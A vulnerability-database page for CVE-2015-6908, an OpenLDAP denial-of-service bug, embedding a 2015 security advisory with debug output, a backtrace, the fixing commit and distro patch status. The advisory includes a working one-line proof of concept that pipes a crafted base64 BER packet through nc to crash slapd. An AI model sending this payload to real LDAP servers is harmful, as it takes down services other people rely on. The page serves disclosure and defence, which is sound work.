CVE-2015-6908

medium
Published 2015-09-11 Β· Modified 2026-05-06
CVSS v3
β€”
CVSS v4 NEW
β€”
not yet in upstream
VIR risk
6.0

Description

The ber_get_next function in libraries/liblber/io.c in OpenLDAP 2.4.42 and earlier allows remote attackers to cause a denial of service (reachable assertion and application crash) via crafted BER data, as demonstrated by an attack against slapd.

Predictions

Exploit likelihood
20%
Patch ETA
β€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or β€” if you've already worked around this in production β€” publish your fix to the community-verified tier.

✚ Propose a mitigation on Community β†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-38145 dos linux text Β· 6 KB
Denis Andzakovic Β· 2015-09-11

OpenLDAP 2.4.42 - ber_get_next Denial of Service

text exploit Source: Exploit-DB
# Exploit Title: OpenLDAP 2.4.42 ber_get_next DOS
# Date: 11/09/15
# Exploit Author: Denis Andzakovic - Security-Assessment.com
# Vendor Homepage: http://www.openldap.org/
# Software Link:
ftp://ftp.openldap.org/pub/OpenLDAP/openldap-release/openldap-2.4.42.tgz
# Version: <= 2.4.42
# Tested on: Debian 8

(    , )     (,
  .   '.' ) ('.    ',
   ). , ('.   ( ) (
  (_,) .'), ) _ _,
 /  _____/  / _  \    ____  ____   _____
 \____  \==/ /_\  \ _/ ___\/  _ \ /     \
 /       \/   |    \\  \__(  <_> )  Y Y  \
/______  /\___|__  / \___  >____/|__|_|  /
        \/         \/.-.    \/         \/:wq
                    (x.0)
                  '=.|w|.='
                  _=''"''=.

                presents..
OpenLDAP get_ber_next Denial of Service
Affected Versions: OpenLDAP <= 2.4.42

PDF: http://www.security-assessment.com/files/documents/advisory/OpenLDAP-ber_get_next-Denial-of-Service.pdf

+-------------+
| Description |
+-------------+
By sending a crafted packet, an attacker may cause the OpenLDAP server to reach an assert() statement, crashing 
the daemon. This was tested on OpenLDAP 2.4.42 (built with GCC 4.9.2) and OpenLDAP 2.4.40 installed from the Debian 
package repository.

+--------------+
| Exploitation |
+--------------+
By sending a crafted packet, an attacker can cause the OpenLDAP daemon to crash with a SIGABRT. This is due to an 
assert() call within the ber_get_next method (io.c line 682) that is hit when decoding tampered BER data. 

The following proof of concept exploit can be used to trigger the condition:

--[ Exploit POC
echo "/4SEhISEd4MKYj5ZMgAAAC8=" | base64 -d | nc -v 127.0.0.1 389

The above causes slapd to abort as follows when running with '-d3', however it should be noted that this will crash
the server even when running in daemon mode. 

--[ sladp -d3
55f0b36e slap_listener_activate(7): 
55f0b36e >>> slap_listener(ldap:///)
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
ber_get_next
ldap_read: want=8, got=8
  0000:  ff 84 84 84 84 84 77 83                            ......w.          
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
ber_get_next
ldap_read: want=1, got=1
  0000:  0a                                                 .                 
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
ber_get_next
slapd: io.c:682: ber_get_next: Assertion `0' failed.

The following GDB back trace provides further information as to the location of the issue.

--[ back trace
program received signal SIGABRT, Aborted.
[Switching to Thread 0x7ffff2e4a700 (LWP 1371)]
0x00007ffff6a13107 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56
56	../nptl/sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) bt
#0  0x00007ffff6a13107 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56
#1  0x00007ffff6a144e8 in __GI_abort () at abort.c:89
#2  0x00007ffff6a0c226 in __assert_fail_base (fmt=0x7ffff6b42ce8 "%s%s%s:%u: %s%sAssertion `%s' failed.\n%n", assertion=assertion@entry=0x55f280 "0", file=file@entry=0x59bdb1 "io.c", 
    line=line@entry=682, function=function@entry=0x59bf33 <__PRETTY_FUNCTION__.6337> "ber_get_next") at assert.c:92
#3  0x00007ffff6a0c2d2 in __GI___assert_fail (assertion=assertion@entry=0x55f280 "0", file=file@entry=0x59bdb1 "io.c", line=line@entry=682, 
    function=function@entry=0x59bf33 <__PRETTY_FUNCTION__.6337> "ber_get_next") at assert.c:101
#4  0x000000000053261a in ber_get_next (sb=0x7fffe40008c0, len=0x7ffff2e49b40, ber=0x7fffe4000a00) at io.c:682
#5  0x0000000000420b56 in connection_input (cri=<optimized out>, conn=<optimized out>) at connection.c:1572
#6  connection_read (cri=<optimized out>, s=<optimized out>) at connection.c:1460
#7  connection_read_thread (ctx=0x7ffff2e49b90, argv=0xf) at connection.c:1284
#8  0x000000000050c871 in ldap_int_thread_pool_wrapper (xpool=0x8956c0) at tpool.c:696
#9  0x00007ffff6d8f0a4 in start_thread (arg=0x7ffff2e4a700) at pthread_create.c:309
#10 0x00007ffff6ac404d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:111

+----------+
| Solution |
+----------+
This issue has been resolved by commit 6fe51a9ab04fd28bbc171da3cf12f1c1040d6629 in
git://git.openldap.org/openldap.git

+----------+
| Timeline |
+----------+

10/09/15 - Issue raised on OpenLDAP issue tracker, marked as a β€˜minor’ security issue, as per the requirements in
the ITS, making the issue public.
10/09/15 - Patch pushed to OpenLDAP master branch by Howard Chu, commit 6fe51a9ab04fd28bbc171da3cf12f1c1040d6629
10/09/15 - Release of this advisory document.

+-------------------------------+
| About Security-Assessment.com |
+-------------------------------+

Security-Assessment.com is Australasia's leading team of Information Security
consultants specialising in providing high quality Information Security 
services to clients throughout the Asia Pacific region. Our clients include
some of the largest globally recognised companies in areas such as finance,
telecommunications, broadcasting, legal and government. Our aim is to provide
the very best independent advice and a high level of technical expertise while
creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development,
and its team continues to identify and responsibly publish vulnerabilities
in public and private software vendor's products. Members of the 
Security-Assessment.com R&D team are globally recognised through their release
of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, 
contact us:

Web www.security-assessment.com
Email info () security-assessment com
Phone +64 4 470 1650

OS impact

macos macOS Affected 1 release
VersionStatusFixed in
β€” Affected β€”
debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 2.4.42+dfsg-2
sid Fixed 2.4.42+dfsg-2
forky Fixed 2.4.42+dfsg-2
bullseye Fixed 2.4.42+dfsg-2
bookworm Fixed 2.4.42+dfsg-2

Application impact

VendorProductVersionsFixed
openldapopenldap{"endIncluding":"2.4.42"}

References

CWEs

CWE-20

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.